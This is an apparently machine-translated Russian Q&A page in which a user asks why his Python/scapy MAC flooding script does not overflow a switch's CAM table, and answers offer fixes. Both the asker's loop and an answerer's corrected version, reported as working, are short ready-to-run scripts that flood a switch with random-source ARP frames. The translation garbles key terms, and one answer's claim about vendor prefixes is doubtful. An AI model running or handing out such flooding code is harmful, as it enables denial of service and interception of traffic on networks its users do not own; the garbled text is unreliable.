2009-09-28 5 views
1

Я пытаюсь сделать небольшой инструмент для наложения макинтоша в python, чтобы заполнить мои кулачки с кулачками, но я не могу сделать волшебство? вы видите, что я делаю неправильно?python/scapy mac flooding script

from scapy.all import * 
while 1: 
    dest_mac = RandMAC() 
    src_mac = RandMAC() 
    sendp(Ether(src=src_mac, dst=dest_mac)/ARP(op=2, psrc="0.0.0.0", hwsrc=src_mac, hwdst=dest_mac)/Padding(load="X"*18), verbose=0) 

В то время как код, кажется, работает нормально, он просто не выполняет свою работу. чтобы проверить его, я использовал wirehark, чтобы посмотреть на пакеты, а затем запустил паразит THC, «который работает», и пакеты почти одинаковы, поэтому я не уверен, что происходит. Спасибо за любую помощь.

+0

вы должны действительно отступ кода –

+0

Thanx SilentGhost для фиксации дисплея кода, я не был уверен, что если я мог бы использовать BBcode – emada

+0

@Paul я копировать вставить его с углублениями лол только что получил перепутались, когда я представил его жаль. – emada

ответ

0

Вы можете использовать только какой-либо MAC-адрес: адрес mac состоит из шести групп из двух шестнадцатеричных цифр, разделенных дефисами (-) или двоеточиями (:). Первые три поля должны заполняться некоторыми значениями, разными для каждого поставщика. Если эти поля не заданы ни с каким кодом поставщика, сервер (или клиент) удалит пакет. Вы можете найти список продавцов mac на файле wirehark manuf или просто искать его с помощью google. Вы можете проверить адрес, набрав в терминале «sudo ifcofig IFACE ether hw ADDRESS».

0

Emada,

Mac адрес выучены с помощью переключателей на не используя адрес источника только поэтому не нужно беспокоиться о целевой рандомизации.

Я тестировал это и, похоже, хорошо работает. Возможно, вы также захотите попробовать вариант sendpfast для наводнения, однако в моем тестировании здесь sendp, похоже, работал быстрее?

from scapy.all import * 

while 1: 
    sendp(Ether(src=RandMAC(),dst="FF:FF:FF:FF:FF:FF")/ARP(op=2, psrc="0.0.0.0", hwdst="FF:FF:FF:FF:FF:FF")/Padding(load="X"*18))) 
Смежные вопросы